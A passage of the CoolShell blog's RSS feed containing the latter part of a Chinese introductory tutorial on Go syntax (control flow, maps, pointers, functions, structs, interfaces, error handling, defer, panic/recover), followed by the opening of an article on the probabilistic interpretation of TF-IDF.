style=\"padding-left: 30px;\">2）<strong>如果没有使用相对路径，那么，go会去找$GOPATH/src/目录。</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//使用相对路径\nimport &quot;./haoel&quot;  //import当前目录里haoel子目录里的所有的go文件\n</pre>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//使用GOPATH路径\nimport &quot;haoel&quot;  //import 环境变量 $GOPATH/src/haoel子目录里的所有的go文件\n</pre>\n<h4>fmt输出格式</h4>\n<p>fmt包和libc里的那堆使用printf， scanf，fprintf，fscanf 很相似。下面的东西对于C程序员不会陌生。</p>\n<p>注意：Println不支持，Printf才支持%式的输出：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\npackage main\n\nimport &quot;fmt&quot;\nimport &quot;math&quot;\n\nfunc main() {\n    fmt.Println(&quot;hello world&quot;)\n\n    fmt.Printf(&quot;%t\\n&quot;, 1==2)\n    fmt.Printf(&quot;二进制：%b\\n&quot;, 255)\n    fmt.Printf(&quot;八进制：%o\\n&quot;, 255)\n    fmt.Printf(&quot;十六进制：%X\\n&quot;, 255)\n    fmt.Printf(&quot;十进制：%d\\n&quot;, 255)\n    fmt.Printf(&quot;浮点数：%f\\n&quot;, math.Pi)\n    fmt.Printf(&quot;字符串：%s\\n&quot;, &quot;hello world&quot;)\n}</pre>\n<p>当然，也可以使用如\\n\\t\\r这样的和C语言一样的控制字符</p>\n<h4>变量和常量</h4>\n<p>变量的声明很像 javascript，使用 var关键字。注意：<strong>go是静态类型的语言</strong>，下面是代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//声明初始化一个变量\nvar  x int = 100\nvar str string = &quot;hello world&quot;&lt;/pre&gt;\n//声明初始化多个变量\nvar  i, j, k int = 1, 2, 3\n\n//不用指明类型，通过初始化值来推导\nvar b = true //bool型\n</pre>\n<p>还有一种定义变量的方式（这让我想到了Pascal语言，但完全不一样）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nx := 100 //等价于 var x int = 100;\n</pre>\n<p>常量很简单，使用const关键字：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nconst s string = &quot;hello world&quot;\nconst pi float32 = 3.1415926\n</pre>\n<h4>数组</h4>\n<p>直接看代码（注意其中的for语句，和C很相似吧，就是没有括号了）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc main() {\n    var a [5]int\n    fmt.Println(&quot;array a:&quot;, a)\n\n    a[1] = 10\n    a[3] = 30\n    fmt.Println(&quot;assign:&quot;, a)\n\n    fmt.Println(&quot;len:&quot;, len(a))\n\n    b := [5]int{1, 2, 3, 4, 5}\n    fmt.Println(&quot;init:&quot;, b)\n\n    var c [2][3]int\n    for i := 0; i &lt; 2; i++ {\n        for j := 0; j &lt; 3; j++ {\n            c[i][j] = i + j\n        }\n    }\n    fmt.Println(&quot;2d: &quot;, c)\n}\n</pre>\n<p>运行结果：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\n\narray a: [0 0 0 0 0]\nassign: [0 10 0 30 0]\nlen: 5\ninit: [1 2 3 4 5]\n2d:  [[0 1 2] [1 2 3]]\n\n</pre>\n<h4>数组的切片操作</h4>\n<p>这个很Python了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n\na := [5]int{1, 2, 3, 4, 5}\n\nb := a[2:4] // a[2] 和 a[3]，但不包括a[4]\nfmt.Println(b)\n\nb = a[:4] // 从 a[0]到a[4]，但不包括a[4]\nfmt.Println(b)\n\nb = a[2:] // 从 a[2]到a[4]，且包括a[2]\nfmt.Println(b)\n\n</pre>\n<p><strong>但是，我们要记住，Golang的切片是共享内存的，也就是说，没有数据的复制，只是记录从哪切到哪的信息。</strong></p>\n<h4>分支循环语句</h4>\n<p><strong>if语句</strong></p>\n<p>注意：if 语句没有圆括号，而必需要有花括号</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//if 语句\nif x % 2 == 0 {\n    //...\n}\n//if - else\nif x % 2 == 0 {\n    //偶数...\n} else {\n    //奇数...\n}\n\n//多分支\nif num &lt; 0 {\n    //负数\n} else if num == 0 {\n    //零\n} else {\n    //正数\n}\n</pre>\n<p><strong>switch 语句</strong></p>\n<p>注意：switch语句没有break，还可以使用逗号case多个值</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nswitch i {\n    case 1:\n        fmt.Println(&quot;one&quot;)\n    case 2:\n        fmt.Println(&quot;two&quot;)\n    case 3:\n        fmt.Println(&quot;three&quot;)\n    case 4,5,6:\n        fmt.Println(&quot;four, five, six&quot;)\n    default:\n        fmt.Println(&quot;invalid value!&quot;)\n}\n</pre>\n<p><strong>for 语句</strong></p>\n<p>前面你已见过了，下面再来看看for的三种形式：（注意：Go语言中没有while）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//经典的for语句 init; condition; post\nfor i := 0; i&lt;10; i++{\n     fmt.Println(i)\n}\n\n//精简的for语句 condition\ni := 1\nfor i&lt;10 {\n    fmt.Println(i)\n    i++\n}\n\n//死循环的for语句 相当于for(;;)\ni :=1\nfor {\n    if i&gt;10 {\n        break\n    }\n    i++\n}\n</pre>\n<h4>关于分号</h4>\n<p>从上面的代码我们可以看到代码里没有分号。其实，<strong>和C一样，Go的正式的语法使用分号来终止语句。和C不同的是，这些分号由词法分析器在扫描源代码过程中使用简单的规则自动插入分号，因此输入源代码多数时候就不需要分号了</strong>。</p>\n<p>规则是这样的：如果在一个新行前方的最后一个标记是一个标识符（包括像<code>int</code>和<code>float64</code>这样的单词）、一个基本的如数值这样的文字、或以下标记中的一个时，会自动插入分号：</p>\n<pre>break continue fallthrough return ++ -- ) }</pre>\n<p>通常Go程序仅在<code>for</code>循环语句中使用分号，以此来分开初始化器、条件和增量单元。如果你在一行中写多个语句，也需要用分号分开。</p>\n<p><strong>注意</strong>：<strong>无论任何时候，你都不应该将一个控制结构（(<code>if</code>、<code>for</code>、<code>switch</code>或<code>select</code>）的左大括号放在下一行。如果这样做，将会在大括号的前方插入一个分号，这可能导致出现不想要的结果</strong>。</p>\n<h4>map</h4>\n<p>map在别的语言里可能叫哈希表或叫dict，下面是和map的相关操作的代码，代码很容易懂</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc main(){\n    m := make(map[string]int) //使用make创建一个空的map\n\n    m[&quot;one&quot;] = 1\n    m[&quot;two&quot;] = 2\n    m[&quot;three&quot;] = 3\n\n    fmt.Println(m) //输出 map[three:3 two:2 one:1] (顺序在运行时可能不一样)\n    fmt.Println(len(m)) //输出 3\n\n    v := m[&quot;two&quot;] //从map里取值\n    fmt.Println(v) // 输出 2\n\n    delete(m, &quot;two&quot;)\n    fmt.Println(m) //输出 map[three:3 one:1]\n\n    m1 := map[string]int{&quot;one&quot;: 1, &quot;two&quot;: 2, &quot;three&quot;: 3}\n    fmt.Println(m1) //输出 map[two:2 three:3 one:1] (顺序在运行时可能不一样)\n\n    for key, val := range m1{\n        fmt.Printf(&quot;%s =&gt; %d \\n&quot;, key, val)\n        /*输出：(顺序在运行时可能不一样)\n            three =&gt; 3\n            one =&gt; 1\n            two =&gt; 2*/\n    }\n}\n</pre>\n<h4>指针</h4>\n<p>Go语言一样有指针，看代码</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n\nvar i int = 1\nvar pInt *int = &amp;i\n//输出：i=1     pInt=0xf8400371b0       *pInt=1\nfmt.Printf(&quot;i=%d\\tpInt=%p\\t*pInt=%d\\n&quot;, i, pInt, *pInt)\n\n*pInt = 2\n//输出：i=2     pInt=0xf8400371b0       *pInt=2\nfmt.Printf(&quot;i=%d\\tpInt=%p\\t*pInt=%d\\n&quot;, i, pInt, *pInt)\n\ni = 3\n//输出：i=3     pInt=0xf8400371b0       *pInt=3\nfmt.Printf(&quot;i=%d\\tpInt=%p\\t*pInt=%d\\n&quot;, i, pInt, *pInt)\n\n</pre>\n<p>Go具有两个分配内存的机制，分别是内建的函数new和make。他们所做的事不同，所应用到的类型也不同，这可能引起混淆，但规则却很简单。</p>\n<h4><strong>内存分配 </strong></h4>\n<p><strong>new</strong> 是一个分配内存的内建函数，但不同于其他语言中同名的new所作的工作，<strong>它只是将内存清零，而不是初始化内存</strong>。new(T)为一个类型为T的新项目分配了值为零的存储空间并返回其地址，也就是一个类型为*T的值。用Go的术语来说，就是<strong>它返回了一个指向新分配的类型为T的零值的指针</strong>。</p>\n<p><code><strong>make</strong>(T, </code><em>args</em><code>)</code>函数的目的与<code>new(T)</code>不同。它仅用于创建切片、map和chan（消息管道），并返回类型<code>T</code>（不是<code>*T</code>）的一个<strong>被初始化了的</strong>（不是<strong>零</strong>）实例。这种差别的出现是由于这三种类型实质上是对在使用前必须进行初始化的数据结构的引用。例如，切片是一个具有三项内容的描述符，包括指向数据（在一个数组内部）的指针、长度以及容量，在这三项内容被初始化之前，切片值为<code>nil</code>。对于切片、映射和信道，<code>make</code>初始化了其内部的数据结构并准备了将要使用的值。如：</p>\n<p>下面的代码分配了一个整型数组，长度为10，容量为100，并返回前10个数组的切片</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">make([]int, 10, 100)</pre>\n<p>以下示例说明了<code>new</code>和<code>make</code>的不同。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nvar p *[]int = new([]int)   // 为切片结构分配内存；*p == nil；很少使用\nvar v  []int = make([]int, 10) // 切片v现在是对一个新的有10个整数的数组的引用\n\n// 不必要地使问题复杂化：\nvar p *[]int = new([]int)\nfmt.Println(p) //输出：&amp;[]\n*p = make([]int, 10, 10)\nfmt.Println(p) //输出：&amp;[0 0 0 0 0 0 0 0 0 0]\nfmt.Println((*p)[2]) //输出： 0\n\n// 习惯用法:\nv := make([]int, 10)\nfmt.Println(v) //输出：[0 0 0 0 0 0 0 0 0 0]\n</pre>\n<h4>函数</h4>\n<p>老实说，我对Go语言这种反过来声明变量类型和函数返回值的做法有点不满（保持和C一样的不可以吗? 呵呵）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\npackage main\nimport &quot;fmt&quot;\n\nfunc max(a int, b int) int { //注意参数和返回值是怎么声明的\n\n    if a &gt; b {\n        return a\n    }\n    return b\n}\n\nfunc main(){\n    fmt.Println(max(4, 5))\n}\n\n</pre>\n<p><strong>函数返回多个值</strong></p>\n<p>Go中很多Package 都会返回两个值，一个是正常值，一个是错误，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\npackage main\nimport &quot;fmt&quot;\n\nfunc main(){\n    v, e := multi_ret(&quot;one&quot;)\n    fmt.Println(v,e) //输出 1 true\n\n    v, e = multi_ret(&quot;four&quot;)\n    fmt.Println(v,e) //输出 0 false\n\n    //通常的用法(注意分号后有e)\n    if v, e = multi_ret(&quot;four&quot;); e {\n        // 正常返回\n    }else{\n        // 出错返回\n    }\n}\n\nfunc multi_ret(key string) (int, bool){\n    m := map[string]int{&quot;one&quot;: 1, &quot;two&quot;: 2, &quot;three&quot;: 3}\n\n    var err bool\n    var val int\n\n    val, err = m[key]\n\n    return val, err\n}\n</pre>\n<p><strong>函数不定参数</strong></p>\n<p>例子很清楚了，我就不多说了</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc sum(nums ...int) {\n    fmt.Print(nums, &quot; &quot;)  //输出如 [1, 2, 3] 之类的数组\n    total := 0\n    for _, num := range nums { //要的是值而不是下标\n        total += num\n    }\n    fmt.Println(total)\n}\nfunc main() {\n    sum(1, 2)\n    sum(1, 2, 3)\n\n    //传数组\n    nums := []int{1, 2, 3, 4}\n    sum(nums...)\n}</pre>\n<p><strong>函数闭包</strong></p>\n<p>nextNum这个函数返回了一个匿名函数，这个匿名函数记住了nextNum中i+j的值，并改变了i,j的值，于是形成了一个闭包的用法</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc nextNum() func() int {\n    i,j := 1,1\n    return func() int {\n        var tmp = i+j\n        i, j = j, tmp\n        return tmp\n    }\n}\n//main函数中是对nextNum的调用，其主要是打出下一个斐波拉契数\nfunc main(){\n    nextNumFunc := nextNum()\n    for i:=0; i&lt;10; i++ {\n        fmt.Println(nextNumFunc())\n    }\n}\n</pre>\n<p><strong>函数的递归</strong></p>\n<p>和c基本是一样的</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc fact(n int) int {\n    if n == 0 {\n        return 1\n    }\n    return n * fact(n-1)\n}\n\nfunc main() {\n    fmt.Println(fact(7))\n}</pre>\n<h4>结构体</h4>\n<p>Go的结构体和C的基本上一样，不过在初始化时有些不一样，Go支持带名字的初始化。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\ntype Person struct {\n    name string\n    age  int\n    email string\n}\n\nfunc main() {\n    //初始化\n    person := Person{&quot;Tom&quot;, 30, &quot;tom@gmail.com&quot;}\n    person = Person{name:&quot;Tom&quot;, age: 30, email:&quot;tom@gmail.com&quot;}\n\n    fmt.Println(person) //输出 {Tom 30 tom@gmail.com}\n\n    pPerson := &amp;person\n\n    fmt.Println(pPerson) //输出 &amp;{Tom 30 tom@gmail.com}\n\n    pPerson.age = 40\n    person.name = &quot;Jerry&quot;\n    fmt.Println(person) //输出 {Jerry 40 tom@gmail.com}\n}\n</pre>\n<h4>结构体方法</h4>\n<p>不多说了，看代码吧。</p>\n<p>注意：Go语言中没有public, protected, private的关键字，所以，<strong>如果你想让一个方法可以被别的包访问的话，你需要把这个方法的第一个字母大写。这是一种约定</strong>。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\ntype rect struct {\n    width, height int\n}\n\nfunc (r *rect) area() int { //求面积\n    return r.width * r.height\n}\n\nfunc (r *rect) perimeter() int{ //求周长\n    return 2*(r.width + r.height)\n}\n\nfunc main() {\n    r := rect{width: 10, height: 15}\n\n    fmt.Println(&quot;面积: &quot;, r.area())\n    fmt.Println(&quot;周长: &quot;, r.perimeter())\n\n    rp := &amp;r\n    fmt.Println(&quot;面积: &quot;, rp.area())\n    fmt.Println(&quot;周长: &quot;, rp.perimeter())\n}\n</pre>\n<h4>接口和多态</h4>\n<p>接口意味着多态，下面是一个经典的例子，不用多说了，自己看代码吧。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//---------- 接 口 --------//\ntype shape interface {\n    area() float64 //计算面积\n    perimeter() float64 //计算周长\n}\n\n//--------- 长方形 ----------//\ntype rect struct {\n    width, height float64\n}\n\nfunc (r *rect) area() float64 { //面积\n    return r.width * r.height\n}\n\nfunc (r *rect) perimeter() float64 { //周长\n    return 2*(r.width + r.height)\n}\n\n//----------- 圆  形 ----------//\ntype circle struct {\n    radius float64\n}\n\nfunc (c *circle) area() float64 { //面积\n    return math.Pi * c.radius * c.radius\n}\n\nfunc (c *circle) perimeter() float64 { //周长\n    return 2 * math.Pi * c.radius\n}\n\n// ----------- 接口的使用 -----------//\nfunc interface_test() {\n    r := rect {width:2.9, height:4.8}\n    c := circle {radius:4.3}\n\n    s := []shape{&amp;r, &amp;c} //通过指针实现\n\n    for _, sh := range s {\n        fmt.Println(sh)\n        fmt.Println(sh.area())\n        fmt.Println(sh.perimeter())\n    }\n}\n</pre>\n<h4>错误处理 &#8211; Error接口</h4>\n<p>函数错误返回可能是C/C++时最让人纠结的东西的，Go的多值返回可以让我们更容易的返回错误，其可以在返回一个常规的返回值之外，还能轻易地返回一个详细的错误描述。通常情况下，错误的类型是error，它有一个内建的接口。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type error interface {\n    Error() string\n}</pre>\n<p>还是看个示例吧：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport &quot;fmt&quot;\nimport &quot;errors&quot;\n\n//自定义的出错结构\ntype myError struct {\n    arg  int\n    errMsg string\n}\n//实现Error接口\nfunc (e *myError) Error() string {\n    return fmt.Sprintf(&quot;%d - %s&quot;, e.arg, e.errMsg)\n}\n\n//两种出错\nfunc error_test(arg int) (int, error) {\n    if arg &lt; 0  {\n         return -1, errors.New(&quot;Bad Arguments - negtive!&quot;)\n     }else if arg &gt;256 {\n        return -1, &amp;myError{arg, &quot;Bad Arguments - too large!&quot;}\n    }\n    return arg*arg, nil\n}\n\n//相关的测试\nfunc main() {\n    for _, i := range []int{-1, 4, 1000} {\n        if r, e := error_test(i); e != nil {\n            fmt.Println(&quot;failed:&quot;, e)\n        } else {\n            fmt.Println(&quot;success:&quot;, r)\n        }\n    }\n}</pre>\n<p>程序运行后输出：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nfailed: Bad Arguments - negtive!\nsuccess: 16\nfailed: 1000 - Bad Arguments - too large!\n</pre>\n<h4>错误处理 &#8211; Defer</h4>\n<p>下面的程序对于每一个熟悉C语言的人来说都不陌生（有资源泄露的问题），C++使用RAII来解决这种问题。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc CopyFile(dstName, srcName string) (written int64, err error) {\n    src, err := os.Open(srcName)\n    if err != nil {\n        return\n    }\n\n    dst, err := os.Create(dstName)\n    if err != nil {\n        return\n    }\n\n    written, err = io.Copy(dst, src)\n    dst.Close()\n    src.Close()\n    return\n}</pre>\n<p>Go语言引入了Defer来确保那些被打开的文件能被关闭。如下所示：（这种解决方式还是比较优雅的）</p>\n<p>&lt;</p>\n<p>pre class=&#8221;EnlighterJSRAW&#8221; data-enlighter-language=&#8221;golang&#8221; data-enlighter-highlight=&#8221;6,12&#8243;><br />\nfunc CopyFile(dstName, srcName string) (written int64, err error) {<br />\n    src, err := os.Open(srcName)<br />\n    if err != nil {<br />\n        return<br />\n    }<br />\n    defer src.Close()</p>\n<pre><code>dst, err := os.Create(dstName)\nif err != nil {\n    return\n}\ndefer dst.Close()\n\nreturn io.Copy(dst, src)\n</code></pre>\n<p>}[/c]</p>\n<p>Go的defer语句预设一个函数调用（延期的函数），该调用在函数执行defer返回时立刻运行。该方法显得不同常规，但却是处理上述情况很有效，无论函数怎样返回，都必须进行资源释放。</p>\n<p>我们再来看一个defer函数的示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfor i := 0; i &lt; 5; i++ {\n    defer fmt.Printf(&quot;%d &quot;, i)\n}</pre>\n<p>被延期的函数以后进先出（LIFO）的顺行执行，因此以上代码在返回时将打印4 3 2 1 0。</p>\n<p>总之，我个人觉得defer的函数行为有点怪异，我现在还没有完全搞清楚。</p>\n<h4>错误处理 &#8211; Panic/Recover</h4>\n<p>对于不可恢复的错误，Go提供了一个内建的panic函数，它将创建一个运行时错误并使程序停止（相当暴力）。该函数接收一个任意类型（往往是字符串）作为程序死亡时要打印的东西。当编译器在函数的结尾处检查到一个panic时，就会停止进行常规的return语句检查。</p>\n<p>下面的仅仅是一个示例。实际的库函数应避免panic。如果问题可以容忍，最好是让事情继续下去而不是终止整个程序。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nvar user = os.Getenv(&quot;USER&quot;)\n\nfunc init() {\n    if user == &quot;&quot; {\n        panic(&quot;no value for $USER&quot;)\n    }\n}</pre>\n<p>当panic被调用时，它将立即停止当前函数的执行并开始逐级解开函数堆栈，同时运行所有被defer的函数。如果这种解开达到堆栈的顶端，程序就死亡了。但是，也可以使用内建的recover函数来重新获得Go程的控制权并恢复正常的执行。 对recover的调用会通知解开堆栈并返回传递到panic的参量。由于仅在解开期间运行的代码处在被defer的函数之内，recover仅在被延期的函数内部才是有用的。</p>\n<p>你可以简单地理解为recover就是用来捕捉Painc的，防止程序一下子就挂掉了。</p>\n<p>下面是一个例程，很简单了，不解释了</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\nfunc g(i int) {\n    if i&gt;1 {\n        fmt.Println(&quot;Panic!&quot;)\n        panic(fmt.Sprintf(&quot;%v&quot;, i))\n    }\n\n}\n\nfunc f() {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Println(&quot;Recovered in f&quot;, r)\n        }\n    }()\n\n    for i := 0; i &lt; 4; i++ {\n        fmt.Println(&quot;Calling g with &quot;, i)\n        g(i)\n        fmt.Println(&quot;Returned normally from g.&quot;)\n     }\n}\n\nfunc main() {\n    f()\n    fmt.Println(&quot;Returned normally from f.&quot;)\n}</pre>\n<p>运行结果如下：（我们可以看到Painc后的for循环就没有往下执行了，但是main的程序还在往下走）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nCalling g with  0\nReturned normally from g.\nCalling g with  1\nReturned normally from g.\nCalling g with  2\nPanic!\nRecovered in f 2\nReturned normally from f.\n</pre>\n<p>你习惯这种编程方式吗？我觉得有点诡异。呵呵。</p>\n<p>好了，上面是是一Go语言相关的编程语法的介绍，我没有事无巨细，只是让你了解一下Go语言是长什么样的。<strong>当然，这还没完，请期待下篇——Go语言的特性</strong>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8460.html\">Go 语言简介（上）— 语法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8460.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>135</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>TF-IDF模型的概率解释</title>\n\t\t<link>https://coolshell.cn/articles/8422.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8422.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Wed, 24 Oct 2012 01:05:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[search]]></category>\n\t\t<category><![CDATA[TF-IDF]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8422</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @猫叔shiro（以前的todd） 投递此文） 信息检索概述 信息检索是当前应用十分广泛的一种技术，论文检索、搜索引擎都属于信息检索的范畴。通常，人们把...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8422.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8422.html\">TF-IDF模型的概率解释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><span style=\"color: #cc0000\">（感谢 </span></strong><a href=\"http://weibo.com/weidagang\" target=\"_blank\">@猫叔shiro</a><strong><span style=\"color: #cc0000\">（以前的todd） 投递此文）</span></strong></p>\n<h4>信息检索概述</h4>\n<p>信息检索是当前应用十分广泛的一种技术，论文检索、搜索引擎都属于信息检索的范畴。通常，人们把信息检索问题抽象为：在文档集合D上，对于由关键词w[1] &#8230; w[k]组成的查询串q，返回一个按查询q和文档d匹配度relevance(q, d)排序的相关文档列表D&#8217;。</p>\n<p>对于这一问题，先后出现了布尔模型、向量模型等各种经典的信息检索模型，它们从不同的角度提出了自己的一套解决方案。布尔模型以集合的布尔运算为基础，查询效率高，但模型过于简单，无法有效地对不同文档进行排序，查询效果不佳。向量模型把文档和查询串都视为词所构成的多维向量，而文档与查询的相关性即对应于向量间的夹角。不过，由于通常词的数量巨大，向量维度非常高，而大量的维度都是0，计算向量夹角的效果并不好。另外，庞大的计算量也使得向量模型几乎不具有在互联网搜索引擎这样海量数据集上实施的可行性。</p>\n<h4>tf-idf模型</h4>\n<p>目前，真正在搜索引擎等实际应用中广泛使用的是tf-idf模型。tf-idf模型的主要思想是：如果词w在一篇文档d中出现的频率高，并且在其他文档中很少出现，则认为词w具有很好的区分能力，适合用来把文章d和其他文章区分开来。该模型主要包含了两个因素：</p>\n<p><span id=\"more-8422\"></span></p>\n<p>1) 词w在文档d中的词频tf (Term Frequency)，即词w在文档d中出现次数count(w, d)和文档d中总词数size(d)的比值：</p>\n<pre><code>tf(w,d) = count(w, d) / size(d) </code></pre>\n<p>2) 词w在整个文档集合中的逆向文档频率idf (Inverse Document Frequency)，即文档总数n与词w所出现文件数docs(w, D)比值的对数:</p>\n<pre><code>idf = log(n / docs(w, D)) </code></pre>\n<p>tf-idf模型根据tf和idf为每一个文档d和由关键词w[1]&#8230;w[k]组成的查询串q计算一个权值，用于表示查询串q与文档d的匹配度：</p>\n<pre><code>\ntf-idf(q, d) \n= sum { i = 1..k | tf-idf(w[i], d) } \n= sum { i = 1..k | tf(w[i], d) * idf(w[i]) } \n</code></pre>\n<h4>信息检索问题的概率视角</h4>\n<p>直观上看，tf描述的是文档中词出现的频率；而idf是和词出现文档数相关的权重。我们比较容易定性地理解tf-idf的基本思想，但具体到tf-idf的一些细节却并不是那么容易说清楚为什么。比如：</p>\n<p>1) 为什么tf是count(w, d) / size(d)？能不能是log(count(w, d) / size(d))等其他形式？</p>\n<p>2) 为什么idf是一个log形式？</p>\n<p>3) 为什么tf和idf之间是乘积关系，而不是加法或指数关系？</p>\n<p>4) 为什么多个关键词的tf-idf值是加法关系，而不是乘法或者指数关系？</p>\n<p>5) 除了tf-idf值，Google还会计算网页的PageRank值，二者相乘得到最后的权值，为什么是乘法，而不是加法或指数？</p>\n<p>据说，最初甚至tf-idf的提出者自己也没有对诸如“为什么idf是log形式”这个问题给出有力的解释，虽然后来有人从信息论的角度对idf的log形式给出了令人信服的解释，但是剩下的其他一些疑问仍然存在。在我了解的范围内，对于tf-idf模型还没有一个真正统一完整的理论解释。在试图为tf-idf找到更好的理论解释的过程中，我意识到对tf-idf模型种种疑问的根源在于tf-idf试图表达的“查询q和文档的匹配度”本身就有一定的模糊性，什么叫做“匹配度”，这就有很大的自由发挥空间。如果说向量模型的用向量夹角来表示匹配度概念还有一定的理论基础，那么用tf-idf来表达匹配度就有点“与其说是科学，不如说是艺术”的味道。</p>\n<p>更进一步，其实，信息检索问题的抽象方式“在文档集合D上，对于给定查询串q，返回一个按查询q和文档d匹配度relevance(q, 